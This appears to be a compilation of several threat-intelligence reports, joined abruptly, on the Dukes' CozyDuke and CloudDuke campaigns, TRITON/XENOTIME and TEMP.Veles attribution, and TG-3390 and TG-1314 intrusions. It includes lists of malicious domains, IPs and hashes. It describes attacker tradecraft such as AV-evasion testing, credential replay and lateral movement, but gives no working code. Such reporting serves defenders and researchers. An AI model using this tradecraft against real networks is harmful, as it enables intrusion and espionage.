While we now know that CozyDuke had been under development since at least the end of 2011 , it was not until the early days of July 2014 that the first large-scale CozyDuke campaign that we are aware of took place .
This campaign , like later CozyDuke campaigns , began with spear-phishing emails that tried to impersonate commonly seen spam emails .
These spear-phishing emails would contain links that eventually lead the victim to becoming infected with CozyDuke .
Some of the CozyDuke spear-phishing emails from early July posed as e-fax arrival notifications , a popular theme for spam emails , and used the same “ US letter fax test page ” decoy document that was used a year later by CloudDuke .
In at least one case however , the email instead contained a link to a zip archive file named “ Office Monkeys LOL Video.zip ” , which was hosted on the DropBox cloud storage service .
What made this particular case interesting was that instead of the usual dull PDF file , the decoy was a Flash video file , more specifically a Super Bowl advertisement from 2007 purporting to show monkeys at an office .
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2015 : The Dukes up the ante .
The end of January 2015 saw the start of the most high- volume Duke campaign seen thus far , with thousands of recipients being sent spear-phishing emails that contained links to compromised websites hosting CozyDuke .
Curiously , the spear-phishing emails were strikingly similar to the e-fax themed spam usually seen spreading ransomware and other common crimeware .
Due to the sheer number of recipients , it may not have been possible to customize the emails in the same way as was possible with lower-volume campaigns .
The similarity to common spam may however also serve a more devious purpose .
It is easy to imagine a security analyst , burdened by the amount of attacks against their network , dismissing such common-looking spam as “ just another crimeware spam run ” , allowing the campaign to , in essence , hide in the masses .
The CozyDuke activity continues one of the long-running trends of the Dukes operations , the use of multiple malware toolsets against a single target .
In this case , the Dukes first attempted to infect large numbers of potential targets with CozyDuke ( and in a more obvious manner than previously seen ) .
They would then use the toolset to gather initial information on the victims , before deciding which ones to pursue further .
For the victims deemed interesting enough , the Dukes would then deploy a different toolset .
We believe the primary purpose of this tactic is an attempt at evading detection in the targeted network .
Even if the noisy initial CozyDuke campaign is noticed by the victim organization , or by someone else who then makes it publicly known , defenders will begin by first looking for indicators of compromise ( IOCs ) related to the CozyDuke toolset .
If however by that time the Dukes are already operating within the victim ’s network , using an another toolset with different IOCs , then it is reasonable to assume that it will take much longer for the victim organization to notice the infiltration .
In previous cases , the group used their malware toolsets interchangeably , as either the initial or a later-stage toolset in a campaign .
For these CozyDuke campaigns however , the Dukes appear to have employed two particular later-stage toolsets , SeaDuke and HammerDuke , that were purposely designed to leave a persistent backdoor on the compromised network .
HammerDuke is a set of backdoors that was first seen in the wild in February 2015 , while SeaDuke is a crossplatform backdoor that was , according to Symantec , first spotted in the wild in October 2014 .
Both toolsets were originally spotted being deployed by CozyDuke to its victims .
What makes SeaDuke special is that it was written in Python and designed to work on both Windows and Linux systems ; it is the first cross-platform tool we have seen from the Dukes .
One plausible reason for developing such a flexible malware might be that the group were increasingly encountering victim environments where users were using Linux as their desktop operating system .
Meanwhile , HammerDuke is a Windows only malware ( written in .NET ) and comes in two variants .
The simpler one will connect to a hardcoded C&C server over HTTP or HTTPS to download commands to execute .
The more advanced variant , on the other hand , will use an algorithm to generate a periodically-changing Twitter account name and will then attempt to find tweets from that account containing links to the actual download location of the commands to execute .
In this way , the advanced HammerDuke variant attempts to hide its network traffic in more legitimate use of Twitter .
This method is not unique to HammerDuke , as MiniDuke , OnionDuke , and CozyDuke all support similar use of Twitter ( image 9 , page 18 ) to retrieve links to additional payloads or commands .
2015 : CloudDuke .
In the beginning of July 2015 , the Dukes embarked on yet another large-scale phishing campaign .
The malware toolset used for this campaign was the previously unseen CloudDuke and we believe that the July campaign marks the first time that this toolset was deployed by the Dukes , other than possible small-scale testing .
The CloudDuke toolset consists of at least a loader , a downloader , and two backdoor variants .
Both backdoors ( internally referred to by their authors as “ BastionSolution ” and “ OneDriveSolution ” ) essentially allow the operator to remotely execute commands on the compromised machine .
The way in which each backdoor does so however is significantly different .
While the BastionSolution variant simply retrieves commands from a hard-coded C&C server controlled by the Dukes , the OneDriveSolution utilizes Microsoft ’s OneDrive cloud storage service for communicating with its masters , making it significantly harder for defenders to notice the traffic and block the communication channel .
What is most significant about the July 2015 CloudDuke campaign is the timeline .
The campaign appeared to consist of two distinct waves of spear-phishing , one during the first days of July and the other starting from the 20th of the month .
Details of the first wave , including a thorough technical analysis of CloudDuke , was published by Palo Alto Networks on 14th July .
This was followed by additional details from Kaspersky in a blog post published on 16th July .
Both publications happened before the second wave took place and received notable publicity .
Despite the attention and public exposure of the toolset ’s technical details ( including IOCs ) to defenders , the Dukes still continued with their second wave of spear-phishing , including the continued use of CloudDuke .
The group did change the contents of the spear-phishing emails they sent , but they didn’t switch to a new email format ; instead , they reverted to the same efaxthemed format that they had previously employed , even to the point of reusing the exact same decoy document that they had used in the CozyDuke campaign a year earlier ( July 2014 ) .
This once more highlights two crucial behavioral elements of the Dukes group .
Firstly , as with the MiniDuke campaigns of February 2013 and CosmicDuke campaigns in the summer of 2014 , again the group clearly prioritized the continuation of their operations over maintaining stealth .
Secondly , it underlines their boldness , arrogance and self-confidence ; they are clearly confident in both their ability to compromise their targets even when their tools and techniques are already publicly known , and critically , they appear to be extremely confident in their ability to act with impunity .
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In addition to the notably overt and large-scale campaigns with CozyDuke and CloudDuke , the Dukes also continued to engage in more covert , surgical campaigns using CosmicDuke .
The latest of these campaigns that we are aware of occurred during the spring and early summer of 2015 .
As their infection vectors , these campaigns used malicious documents exploiting recently fixed vulnerabilities .
Two of these campaigns were detailed in separate blog posts by the Polish security company Prevenity , who said that both campaigns targeted Polish entities with spear- phishing emails containing malicious attachments with relevant Polish language names .
A third , similar , CosmicDuke campaign was observed presumably targeting Georgian entities since it used an attachment with a Georgian-language name that translates to “ NATO consolidates control of the Black Sea.docx ” .
Based on this , we do not believe that the Dukes are replacing their covert and targeted campaigns with the overt and opportunistic CozyDuke and CloudDuke style of campaigns .
Instead , we believe that they are simply expanding their activities by adding new tools and techniques .
A XENOTIME to Remember : Veles in the Wild .
FireEye recently published a blog covering the tactics , techniques , and procedures ( TTPs ) for the “ TRITON actor ” when preparing to deploy the TRITON / TRISIS malware framework in 2017 .
Overall , the post does a commendable job in making public findings previously only privately shared ( presumably by FireEye , and in several reports I authored for my employer , Dragos ) to threat intelligence customers .
As such , the blog continues to push forward the narrative of how ICS attacks are enabled through prepositioning and initial intrusion operations – an item I have discussed at length .
Yet one point of confusion in the blog comes at the very start : referring to the entity responsible for TRITON as the “ TRITON actor ” .
This seems confusing as FireEye earlier publicly declared the “ TRITON actor ” as a discrete entity , linked to a Russian research institution , and christened it as “ TEMP.Veles ” .
In the 2018 public posting announcing TEMP.Veles , FireEye researchers noted that the institute in question at least supported TEMP.Veles activity in deploying TRITON , with subsequent public presentations at Cyberwarcon and the Kaspersky Lab sponsored Security Analyst Summit essentially linking TRITON and the research institute ( and therefore TEMP.Veles ) as one in the same .
Yet the most-recent posting covering TTPs from initial access through prerequisites to enable final delivery of effects on target ( deploying TRITON / TRISIS ) avoids the use of the TEMP.Veles term entirely .
In subsequent discussion , FireEye personnel indicate that there was not “ an avalanche of evidence to substantiate ” anything more than “ TRITON actor ” – summing matters by indicating this term “ is the best we ’ve got for the public for now ” .
Meanwhile , parallel work at Dragos ( my employer , where I have performed significant work on the activity described above ) uncovered similar conclusions concerning TTPs and behaviors , for both the 2017 event and subsequent activity in other industrial sectors .
Utilizing Diamond Model methodology for characterizing activity by behaviors attached to victims , we began tracking TRITON / TRISIS and immediate enabling activity as a distinct activity group ( collection of behaviors , infrastructure , and victimology ) designated XENOTIME .
Based on information gained from discussion with the initial TRITON / TRISIS responders and subsequent work on follow-on activity by this entity , Dragos developed a comprehensive ( public ) picture of adversary activity roughly matching FireEye ’s analysis published in April 2019 , described in various media .
At this stage , we have two similar , parallel constructions of events – the how behind the immediate deployment and execution of TRITON / TRISIS – yet dramatically different responses in terms of attribution and labeling .
Since late 2018 , based upon the most-recent posting , FireEye appears to have “ walked back ” the previously-used terminology of TEMP.Veles and instead refers rather cryptically to the “ TRITON actor ” , while Dragos leveraged identified behaviors to consistently refer to an activity group , XENOTIME .
Given that both organizations appear to describe similar ( if not identical ) activity , any reasonable person could ( and should ) ask – why the inconsistency in naming and identification .
Aside from the competitive vendor naming landscape ( which I am not a fan of in cases on direct overlap , but which has more to say for itself when different methodologies are employed around similar observations ) , the distinction between FireEye and Dragos ’ approaches with respect to the “ TRITON actor ” comes down to fundamental philosophical differences in methodology .
As wonderfully described in a recent public posting , FireEye adheres to a naming convention based upon extensive data collection and activity comparison , designed to yield the identification of a discrete , identifiable entity responsible for a given collection of activity .
This technique is precise and praiseworthy – yet at the same time , appears so rigorous as to impose limitations on the ability to dynamically adjust and adapt to emerging adversary activity .
( Or for that matter , even categorize otherwise well-known historical actors operating to the present day , such as Turla .
) FireEye ’s methodology may have particular limitations in instances where adversaries ( such as XENOTIME and presumably TEMP.Veles ) rely upon extensive use of publicly-available , commonly-used tools with limited amounts of customization .
In such cases , utilizing purely technical approaches for differentiation ( an issue I lightly touched on in a recent post ) becomes problematic , especially when trying to define attribution to specific , “ who-based ” entities ( such as a Russian research institute ) .
My understanding is FireEye labels entities where definitive attribution is not yet possible with the “ TEMP ” moniker ( hence , TEMP.Veles ) – yet in this case FireEye developed and deployed the label , then appeared to move away from it in subsequent reporting .
Based on the public blog post – which also indicated that FireEye is responding to an intrusion at a second facility featuring the same or similar observations – this is presumably not for lack of evidence , yet the “ downgrade ” occurs all the same .
In comparison , XENOTIME was defined based on principles of infrastructure ( compromised third-party infrastructure and various networks associated with several Russian research institutions ) , capabilities ( publicly- and commercially-available tools with varying levels of customization ) and targeting ( an issue not meant for discussion in this blog ) .
In personally responding to several incidents across multiple industry sectors since early 2018 matching TTPs from the TRITON / TRISIS event , these items proved consistent and supported the creation of the XENOTIME activity group .
This naming decision was founded upon the underlying methodology described in the Diamond Model of intrusion analysis .
As such , this decision does not necessarily refer to a specific institution , but rather a collection of observations and behaviors observed across multiple , similarly-situated victims .
Of note , this methodology of naming abstracts away the “ who ” element – XENOTIME may represent a single discrete entity ( such as a Russian research institution ) or several entities working in coordination in a roughly repeatable , similar manner across multiple events .
Ultimately , the epistemic foundation of the behavior-based naming approach makes this irrelevant for tracking ( and labeling for convenience sake ) observations .
Much like the observers watching the shadows of objects cast upon the wall of the cave , these two definitions ( XENOTIME and TEMP.Veles , both presumably referring to “ the TRITON actor ” ) describe the same phenomena , yet at the same time appear different .
This question of perception and accuracy rests upon the underlying epistemic framework and the goal conceived for that framework in defining an adversary : FireEye ’s methodology follows a deductive approach requiring the collection of significant evidence over time to yield a conclusion that will be necessary given the premises ( the totality of evidence suggests APTxx ) ; the Dragos approach instead seeks an inductive approach , where premises may all be true but the conclusion need not necessarily follow from them given changes in premises over time or other observations not contained within the set ( thus , identified behaviors strongly suggests an activity group , defined as X ) .
From an external analysts ’ point of view , the wonder is , which is superior to the other .
And my answer for this is : neither is perfect , but both are useful – depending upon your goals and objectives .
But rather than trying to pursue some comparison between the two for identification of superiority ( an approach that will result in unproductive argument and social media warring ) , the point of this post is to highlight the distinctions between these approaches and how – in the case of “ the TRITON actor ” – they result in noticeably different conclusions from similar datasets .
One reason for the distinction may be differences in evidence , as FireEye ’s public reporting notes two distinct events of which they are aware of and have responded to related to “ the TRITON actor ” while Dragos has been engaged several instances – thus , Dragos would possess more evidence to cement the definition of an activity group , while FireEye ’s data collection-centric approach would require far more observations to yield an “ APT ” .
Yet irrespective of this , it is confusing why the previously-declared “ TEMP ” category was walked back as this has led to not small amount of confusion – in both technical and non-technical audiences – as to just what FireEye ’s blog post refers .
Thus respected journalists ( at least by me ) conflate the “ TRITON actor is active at another site ” with “ TRITON malware was identified at another site ” .
In this case , we ’re seeing a definite problem with the overly-conservative naming approach used as it engenders confusion in a significant subset of the intended audience .
While some may dismiss adversary or activity naming as so much marketing , having a distinct label for something allows for clearer communication and more accurate discussion .
Furthermore , conflating adversaries with tools , since tools can be repurposed or used by other entities than those first observed deploying them , leads to further potential confusion as the “ X actor ” is quickly compressed in the minds of some to refer to any and all instantiations of tool “ X ” .
Overall , the discussion above may appear so much splitting of hairs or determining how many angels can dance on the head of a pin – yet given the communicative impacts behind different naming and labeling conventions , this exploration seems not merely useful but necessary .
Understanding the “ how ” and “ why ” behind different entity classifications of similar ( or even the same ) activity allows us to move beyond the dismissive approach of “ everyone has their names for marketing purposes ” to a more productive mindset that grasps the fundamental methodologies that ( should ) drive these decisions .
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Malware Testing Environment Tied to TEMP.Veles .
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Malware Testing Environment Tied to TEMP.Veles .
We identified a malware testing environment that we assess with high confidence was used to refine some TEMP.Veles tools .
At times , the use of this malware testing environment correlates to in-network activities of TEMP.Veles , demonstrating direct operational support for intrusion activity .
Four files tested in 2014 are based on the open-source project , cryptcat .
Analysis of these cryptcat binaries indicates that the actor continually modified them to decrease AV detection rates .
One of these files was deployed in a TEMP.Veles target ’s network .
The compiled version with the least detections was later re-tested in 2017 and deployed less than a week later during TEMP.Veles activities in the target environment .
TEMP.Veles ’ lateral movement activities used a publicly-available PowerShell based tool , WMImplant .
On multiple dates in 2017 , TEMP.Veles struggled to execute this utility on multiple victim systems , potentially due to AV detection .
Soon after , the customized utility was again evaluated in the malware testing environment .
The following day , TEMP.Veles again tried the utility on a compromised system .
The user has been active in the malware testing environment since at least 2013 , testing customized versions of multiple open-source frameworks , including Metasploit , Cobalt Strike , PowerSploit , and other projects .
The user ’s development patterns appear to pay particular attention to AV evasion and alternative code execution techniques .
Custom payloads utilized by TEMP.Veles in investigations conducted by Mandiant are typically weaponized versions of legitimate open-source software , retrofitted with code used for command and control .
Testing , Malware Artifacts , and Malicious Activity Suggests Tie to CNIIHM .
Multiple factors suggest that this activity is Russian in origin and associated with CNIIHM .
A PDB path contained in a tested file contained a string that appears to be a unique handle or user name .
This moniker is linked to a Russia based person active in Russian information security communities since at least 2011 .
The handle has been credited with vulnerability research contributions to the Russian version of Hacker Magazine ( хакер ) .
According to a now-defunct social media profile , the same individual was a professor at CNIIHM , which is located near Nagatinskaya Street in the Nagatino-Sadovniki district of Moscow .
Another profile using the handle on a Russian social network currently shows multiple photos of the user in proximity to Moscow for the entire history of the profile .
Suspected TEMP.Veles incidents include malicious activity originating from 87.245.143.140 , which is registered to CNIIHM .
This IP address has been used to monitor open-source coverage of TRITON , heightening the probability of an interest by unknown subjects , originating from this network , in TEMP.Veles related activities .
It also has engaged in network reconnaissance against targets of interest to TEMP.Veles .
The IP address has been tied to additional malicious activity in support of the TRITON intrusion .
Multiple files have Cyrillic names and artifacts .
Adversary behavioral artifacts further suggest the TEMP.Veles operators are based in Moscow , lending some further support to the scenario that CNIIHM , a Russian research organization in Moscow , has been involved in TEMP.Veles activity .
We identified file creation times for numerous files that TEMP.Veles created during lateral movement on a target ’s network .
These file creation times conform to a work schedule typical of an actor operating within a UTC+3 time zone supporting a proximity to Moscow .
Additional language artifacts recovered from TEMP.Veles toolsets are also consistent with such a regional nexus .
A ZIP archive recovered during our investigations , schtasks.zip , contained an installer and uninstaller of CATRUNNER that includes two versions of an XML scheduled task definitions for a masquerading service ‘ ProgramDataUpdater .
’ The malicious installation version has a task name and description in English , and the clean uninstall version has a task name and description in Cyrillic .
The timeline of modification dates within the ZIP also suggest the actor changed the Russian version to English in sequential order , heightening the possibility of a deliberate effort to mask its origins .
While we know that TEMP.Veles deployed the TRITON attack framework , we do not have specific evidence to prove that CNIIHM did ( or did not ) develop the tool .
We infer that CNIIHM likely maintains the institutional expertise needed to develop and prototype TRITON based on the institute ’s self-described mission and other public information .
CNIIHM has at least two research divisions that are experienced in critical infrastructure , enterprise safety , and the development of weapons/military equipment :The Center for Applied Research creates means and methods for protecting critical infrastructure from destructive information and technological impacts .
The Center for Experimental Mechanical Engineering develops weapons as well as military and special equipment .
It also researches methods for enabling enterprise safety in emergency situations .
CNIIHM officially collaborates with other national technology and development organizations , including :The Moscow Institute of Physics and Technology ( PsyTech ) , which specializes in applied physics , computing science , chemistry , and biology .
The Association of State Scientific Centers “ Nauka , ” which coordinates 43 Scientific Centers of the Russian Federation ( SSC RF ) .
Some of its main areas of interest include nuclear physics , computer science and instrumentation , robotics and engineering , and electrical engineering , among others .
The Federal Service for Technical and Export Control ( FTEC ) which is responsible for export control , intellectual property , and protecting confidential information .
The Russian Academy of Missile and Artillery Sciences ( PAPAH ) which specializes in research and development for strengthening Russia ’s defense industrial complex .
Information from a Russian recruitment website , linked to CNIIHM ’s official domain , indicates that CNIIHM is also dedicated to the development of intelligent systems for computer-aided design and control , and the creation of new information technologies .
Some possibility remains that one or more CNIIHM employees could have conducted the activity linking TEMP.Veles to CNIIHM without their employer ’s approval .
However , this scenario is highly unlikely .
In this scenario , one or more persons – likely including at least one CNIIHM employee , based on the moniker discussed above – would have had to conduct extensive , high-risk malware development and intrusion activity from CNIIHM ’s address space without CNIIHM ’s knowledge and approval over multiple years .
CNIIHM ’s characteristics are consistent with what we might expect of an organization responsible for TEMP.Veles activity .
TRITON is a highly specialized framework whose development would be within the capability of a low percentage of intrusion operators .
Release_Time : unknownReport_URL : https://dragos.com/resource/xenotime/XENOTIME is easily the most dangerous threat activity publicly known .
It is the only activity group intentionally compromising and disrupting industrial safety instrumented systems , which can lead to scenarios involving loss of life and environmental damage .
Dragos identified several compromises of ICS vendors and manufacturers in 2018 by activity associated with XENOTIME , providing potential supply chain threat opportunities and vendor-enabled access to asset owner and operator ICS networks .
XENOTIME rose to prominence in December 2017 when Dragos and FireEye jointly published details of TRISIS destructive malware targeting Schneider Electric ’s Triconex safety instrumented system .
The multi-step malware framework caused industrial systems in a Middle Eastern industrial facility to shut down .
The incident represented a shift in the capabilities and consequences of ICS malware .
TRISIS was an escalation of the type of attacks historically targeting ICS systems .
Targeting a safety system indicates significant damage and loss of human life were either intentional or acceptable goals of the attack , a consequence not seen in previous disruptive attacks such as the 2016 CRASHOVERRIDE malware that caused a power loss in Ukraine .
Note : Industrial safety instrumented systems comprise part of a multi-layer engineered process control framework to protect life and environment .
Industrial safety systems are highly redundant and separate controls which override and manage industrial processes if they approach unsafe conditions such as over-pressurization , overspeed , or over-heating .
They enable engineers and operators to safely control and possibly shutdown processes before a major incident occurs .
They ’re a critical component of many dangerous industrial environments such as electric power generation and oil and gas processing .
XENOTIME configured TRISIS based on the specifics and functions of the Triconex system within the industrial control ( ICS ) environment .
XENOTIME used credential capture and replay to move between networks , Windows commands , standard command-line tools such as PSExec , and proprietary tools for operations on victim hosts .
( Full reports detailing XENOTIME ’s tool techniques , and procedures are available to Dragos WorldView customers .
) Because the TRISIS malware framework was highly tailored , it would have required specific knowledge of the Triconex ’s infrastructure and processes within a specific plant .
This means it ’s not easy to scale—however , the malware provides a blueprint of how to target safety instrumented systems .
This tradecraft is thus scalable and available to others even if the malware itself changes .
Dragos ’ data indicates XENOTIME remains active .
Furthermore , Dragos ’ analysis of the TRISIS event continues as we recover additional data surrounding the incident .
Dragos assesses with moderate confidence that XENOTIME intends to establish required access and capability to cause a potential , future disruptive—or even destructive—event .
Compromising safety systems provides little value outside of disrupting operations .
The group created a custom malware framework and tailormade credential gathering tools , but an apparent misconfiguration prevented the attack from executing properly .
As XENOTIME matures , it is less likely that the group will make this mistake in the future .
XENOTIME operates globally , impacting regions far outside of the Middle East , their initial target .
Intelligence suggests the group has been active since at least 2014 and is presently operating in multiple facilities targeting safety systems beyond Triconex .
This group has no known associations to other activity groups .
Dragos threat intelligence leverages the Dragos Platform , our threat operations center , and other sources to provide comprehensive insight into threats affecting industrial control security and safety worldwide .
Dragos does not corroborate nor conduct political attribution to threat activity .
Dragos instead focuses on threat behaviors and appropriate detection and response .
Read more about Dragos ’ approach to categorizing threat activity and attribution .
Dragos does not publicly describe ICS activity group technical details except in extraordinary circumstances in order to limit tradecraft proliferation .
However , full details on XENOTIME and other group tools , techniques , procedures , and infrastructure is available to network defenders via Dragos WorldView .
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Threat Group 3390 Cyberespionage .
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Threat Group 3390 Cyberespionage .
Dell SecureWorks Counter Threat Unit (TM ) ( CTU ) researchers investigated activities associated with Threat Group-3390 ( TG-3390 ) .
Analysis of TG-3390 's operations , targeting , and tools led CTU researchers to assess with moderate confidence the group is located in the People's Republic of China .
The threat actors target a wide range of organizations : CTU researchers have observed TG-3390 actors obtaining confidential data on defense manufacturing projects , but also targeting other industry verticals and attacking organizations involved in international relations .
The group extensively uses long-running strategic web compromises ( SWCs ) , and relies on whitelists to deliver payloads to select victims .
In comparison to other threat groups , TG-3390 is notable for its tendency to compromise Microsoft Exchange servers using a custom backdoor and credential logger .
CTU researchers divided the threat intelligence about TG-3390 into two sections : strategic and tactical .
Strategic threat intelligence includes an assessment of the ongoing threat posed by the threat group .
Executives can use this assessment to determine how to reduce risk to their organization's mission and critical assets .
Tactical threat intelligence is based on incident response investigations and research , and is mapped to the kill chain .
Computer network defenders can use this information to reduce the time and effort associated with responding to TG-3390 .
CTU researchers assess with moderate confidence that TG-3390 is based in the People's Republic of China .
CTU researchers have evidence that the threat group compromised U.S. and UK organizations in the following verticals : manufacturing ( specifically aerospace ( including defense contractors ) , automotive , technology , energy , and pharmaceuticals ) , education , and legal , as well as organizations focused on international relations .
Based on analysis of the group's SWCs , TG-3390 operations likely affect organizations in other countries and verticals .
TG-3390 operates a broad and long-running campaign of SWCs and has compromised approximately 100 websites as of this publication .
Through an IP address whitelisting process , the threat group selectively targets visitors to these websites .
After the initial compromise , TG-3390 delivers the HttpBrowser backdoor to its victims .
The threat actors then move quickly to compromise Microsoft Exchange servers and to gain complete control of the target environment .
The threat actors are adept at identifying key data stores and selectively exfiltrating all of the high-value information associated with their goal .
CTU researchers recommend the following practices to prevent or detect TG-3390 intrusions :Search web log files for evidence of web server scanning using the URIs listed in the Exploitation section and evidence of Exfiltration using the User-Agent in the Actions on objective section .
Require two-factor authentication for all remote access solutions , including OWA .
Audit ISAPI filters and search for web shells on Microsoft Exchange servers .
CTU researchers infer intent by aggregating observations , analyzing a threat group's activity , and placing the information in a wider context .
Like many threat groups , TG-3390 conducts strategic web compromises ( SWCs ) , also known as watering hole attacks , on websites associated with the target organization's vertical or demographic to increase the likelihood of finding victims with relevant information .
CTU researchers assess with high confidence that TG-3390 uses information gathered from prior reconnaissance activities to selectively compromise users who visit websites under its control .
Most websites compromised by TG-3390 actors are affiliated with five types of organizations around the world :large manufacturing companies , particularly those supplying defense organizations , energy companies , embassies in Washington , DC representing countries in the Middle East , Europe , and Asia , likely to target U.S. based users involved in international relations , non-governmental organizations ( NGOs ) , particularly those focused on international relations and defense , government organizations .
Based on this information , CTU researchers assess that TG-3390 aims to collect defense technology and capability intelligence , other industrial intelligence , and political intelligence from governments and NGOs .
To assess attribution , CTU researchers analyze observed activity , third-party reporting , and contextual intelligence .
For the following reasons , CTU researchers assess with moderate confidence that TG-3390 has a Chinese nexus :The SWC of a Uyghur cultural website suggests intent to target the Uyghur ethnic group , a Muslim minority group primarily found in the Xinjiang region of China .
Threat groups outside of China are unlikely to target the Uyghur people .
TG-3390 uses the PlugX remote access tool .
The menus for PlugX 's server-side component are written exclusively in Standard Chinese ( Mandarin ) , suggesting that PlugX operators are familiar with this language .
CTU researchers have observed TG-3390 activity between 04:00 and 09:00 UTC , which is 12:00 to 17:00 local time in China ( UTC +8 ) .
The timeframe maps to the second half of the workday in China .
The threat actors have used the Baidu search engine , which is only available in Chinese , to conduct reconnaissance activities .
CTU researchers have observed the threat group obtaining information about specific U.S. defense projects that would be desirable to those operating within a country with a manufacturing base , an interest in U.S. military capability , or both .
CTU researchers recognize that the evidence supporting this attribution is circumstantial .
It is possible that TG-3390 is false-flag operation by a threat group outside of China that is deliberately planting indications of a Chinese origin .
TG-3390 has access to proprietary tools , some of which are used exclusively by TG-3390 and others that are shared among a few Chinese threat groups .
The complexity and continual development of these tools indicates a mature development process .
TG-3390 can quickly leverage compromised network infrastructure during an operation and can conduct simultaneous intrusions into multiple environments .
This ability is further demonstrated by analysis of interactions between TG-3390 operators and a target environment .
CTU researchers found no evidence of multiple operators working simultaneously against a single organization .
This efficiency of operation ( a 1:1 ratio of operator to observed activity ) suggests that TG-3390 can scale to conduct the maximum number of simultaneous operations .
These characteristics suggest that the threat group is well resourced and has access to a tools development team and a team focused on SWCs .
TG-3390 's obfuscation techniques in SWCs complicate detection of malicious web traffic redirects .
Malware used by the threat group can be configured to bypass network-based detection ; however , the threat actors rarely modify host-based configuration settings when deploying payloads .
CTU researchers have observed the threat actors installing a credential logger and backdoor on Microsoft Exchange servers , which requires a technical grasp of Internet Information Services ( IIS ) .
TG-3390 uses older exploits to compromise targets , and CTU researchers have not observed the threat actors using zero-day exploits as of this publication .
The threat actors demonstrated the ability to adapt when reentering a network after an eviction , overcoming technical barriers constructed by network defenders .
In addition to using SWCs to target specific types of organizations , TG-3390 uses spearphishing emails to target specific victims .
CTU researchers assess with high confidence that the threat actors follow an established playbook during an intrusion .
They quickly move away from their initial access vector to hide their entry point and then target Exchange servers as a new access vector .
As of this publication , CTU researchers have not discovered how TG-3390 keeps track of the details associated with its compromised assets and credentials .
However , the threat actors' ability to reuse these assets and credentials , sometimes weeks or months after the initial compromise , indicates the group is disciplined and well organized .
After gaining access to a target network in one intrusion analyzed by CTU researchers , TG-3390 actors identified and exfiltrated data for specific projects run by the target organization , indicating that they successfully obtained the information they sought .
TG-3390 : american.blackcmd.com .
TG-3390 : api.apigmail.com .
TG-3390 : apigmail.com .
TG-3390 : backup.darkhero.org .
TG-3390 : bel.updatawindows.com .
TG-3390 : binary.update-onlines.org .
TG-3390 : blackcmd.com .
TG-3390 : castle.blackcmd.com .
TG-3390 : ctcb.blackcmd.com .
TG-3390 : darkhero.org .
TG-3390 : 208.115.242.36 .
TG-3390 : 208.115.242.37 .
TG-3390 : 208.115.242.38 .
TG-3390 : 66.63.178.142 .
TG-3390 : 72.11.148.220 .
TG-3390 : 72.11.141.133 .
TG-3390 : 74.63.195.236 .
TG-3390 : 74.63.195.237 .
1cb4b74e9d030afbb18accf6ee2bfca1 MD5 hash HttpBrowser RAT dropper .
b333b5d541a0488f4e710ae97c46d9c2 MD5 hash HttpBrowser RAT dropper .
86a05dcffe87caf7099dda44d9ec6b48 MD5 hash HttpBrowser RAT dropper .
93e40da0bd78bebe5e1b98c6324e9b5b MD5 hash HttpBrowser RAT dropper .
f43d9c3e17e8480a36a62ef869212419 MD5 hash HttpBrowser RAT dropper .
57e85fc30502a925ffed16082718ec6c MD5 hash HttpBrowser RAT dropper .
4251aaf38a485b08d5562c6066370f09 MD5 hash HttpBrowser RAT dropper .
bbfd1e703f55ce779b536b5646a0cdc1 MD5 hash HttpBrowser RAT dropper .
12a522cb96700c82dc964197adb57ddf MD5 hash HttpBrowser RAT dropper .
728e5700a401498d91fb83159beec834 MD5 hash HttpBrowser RAT dropper .
2bec1860499aae1dbcc92f48b276f998 MD5 hash HttpBrowser RAT dropper .
014122d7851fa8bf4070a8fc2acd5dc5 MD5 hash HttpBrowser RAT .
0ae996b31a2c3ed3f0bc14c7a96bea38 MD5 hash HttpBrowser RAT .
1a76681986f99b216d5c0f17ccff2a12 MD5 hash HttpBrowser RAT .
380c02b1fd93eb22028862117a2f19e3 MD5 hash HttpBrowser RAT .
40a9a22da928cbb70df48d5a3106d887 MD5 hash HttpBrowser RAT .
46cf2f9b4a4c35b62a32f28ac847c575 MD5 hash HttpBrowser RAT .
5436c3469cb1d87ea404e8989b28758d MD5 hash HttpBrowser RAT .
692cecc94ac440ec673dc69f37bc0409 MD5 hash HttpBrowser RAT .
Living Off the Land .
Release_Time : 2015-05-28Report_URL : https://www.secureworks.com/blog/living-off-the-landIn over half of the targeted threat response engagements performed by the Dell SecureWorks Counter Threat Unit Special Operations ( CTU-SO ) team in the past year , the threat actors accessed the target environment using compromised credentials and the companies' own virtual private network ( VPN ) or other remote access solutions .
Detecting threat actors who are " living off the land , " using credentials , systems , and tools they collect along the way instead of backdoors , can be challenging for organizations that focus their instrumentation and controls primarily on the detection of malware and indicators such as command and control IP addresses , domains , and protocols .
With their gaps in visibility , these organizations can have a very difficult time distinguishing adversary activity from that of legitimate users , pushing detection times out to weeks , months , or even years .
Recently , CTU researchers responded to an intrusion perpetrated by Threat Group-1314 ( TG-1314 ) , one of numerous threat groups that employ the " living off the land " technique to conduct their intrusions .
In this case , the threat actors used compromised credentials to log into an Internet-facing Citrix server to gain access to the network .
CTU researchers discovered evidence that the threat actors were not only leveraging the company 's remote access infrastructure , but were also using the company 's endpoint management platform , Altiris , to move laterally through the network .
Memory collection and analysis can be an extremely valuable component of an incident response plan and in this case proved crucial in identifying TG-1314 's actions on objective .
Memory collected from systems involved in the intrusion was analyzed using the Volatility framework .
First , Volatility 's pstree plugin , which lists running processes in a tree view , was executed .
The result immediately revealed signs of a suspicious cmd.exe process running as a child of the ACLIENT.EXE process .
CTU researchers immediately recognized suspicious commands , such as changing the working directory to recycler and executing commands from that location , that were unlikely to have been connected to legitimate system administrator operations .
The results also revealed indications that PsExec , a popular system administration tool for executing commands on remote systems , was run against several target hosts to spawn shells on them .
To better understand how the adversary was operating and what other actions they had performed , CTU researchers examined cmd.exe and its supporting processes to uncover additional command line artifacts .
While cmd.exe is a console application , it still requires GUI like functionality and other support to interact with the operating system .
On the Windows XP platform , this support is provided by the csrss.exe process .
Because commands run from cmd.exe are acted on by csrss.exe , additional evidence of command history and responses sent to the cmd console window are often discoverable by analyzing the csrss.exe process 's memory .
The output in Figure 3 shows the Process ID ( PID ) of the csrss.exe process to be 716 .
Running Volatility 's vaddump plugin on this process allowed CTU researchers to obtain the Virtual Address Descriptor ( VAD ) sections .
The relevant strings inside the VAD sections were UTF-16 encoded and revealed additional insights once extracted .
TG-1314 was mapping network drives using a compromised Altiris account to connect to additional systems .
After identifying compromised credentials and executed commands , CTU researchers shifted focus to determine how the threat actors were obtaining the shell and executing their commands on the compromised host .
This exploration required a look at the suspect cmd.exe 's parent process , shown earlier in the investigation to be ACLIENT.EXE .
Volatility 's procdump command was used to dump the executable from memory .
